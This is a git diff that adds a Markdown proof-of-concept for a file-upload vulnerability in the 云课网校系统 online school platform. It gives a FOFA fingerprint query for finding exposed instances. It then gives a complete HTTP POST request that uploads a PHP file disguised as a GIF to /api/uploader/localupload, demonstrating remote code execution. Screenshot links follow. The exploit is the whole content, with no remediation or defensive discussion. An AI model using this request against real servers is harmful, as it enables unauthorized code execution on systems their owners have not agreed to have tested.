Create 云课网校系统文件上传漏洞.md

wpoc/云课网校系统/云课网校系统文件上传漏洞.md

@@ -0,0 +1,30 @@
+## 云课网校系统文件上传漏洞
+
+
+## fofa
+
+```
+body="/static/libs/common/jquery.stickyNavbar.min.js"
+```
+
+## poc
+
+```
+POST /api/uploader/localupload HTTP/1.1
+Host:
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
+Accept-Encoding: gzip, deflate
+Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFfJZ4PlAZBixjELj
+Accept: */*
+Connection: close
+
+------WebKitFormBoundaryFfJZ4PlAZBixjELj
+Content-Disposition: form-data; name="file"; filename="rce.php"
+Content-Type: image/gif
+
+<?php phpinfo();unlink(__FILE__);?>
+------WebKitFormBoundaryFfJZ4PlAZBixjELj--
+```
+<img width="1765" height="612" alt="image" src="https://github.com/user-attachments/assets/58887dad-9a77-4b21-a24a-5a275ec9c0cb" />
+
+<img width="1274" height="704" alt="image" src="https://github.com/user-attachments/assets/ba335089-9815-45f0-b5c6-95f9de92eba0" />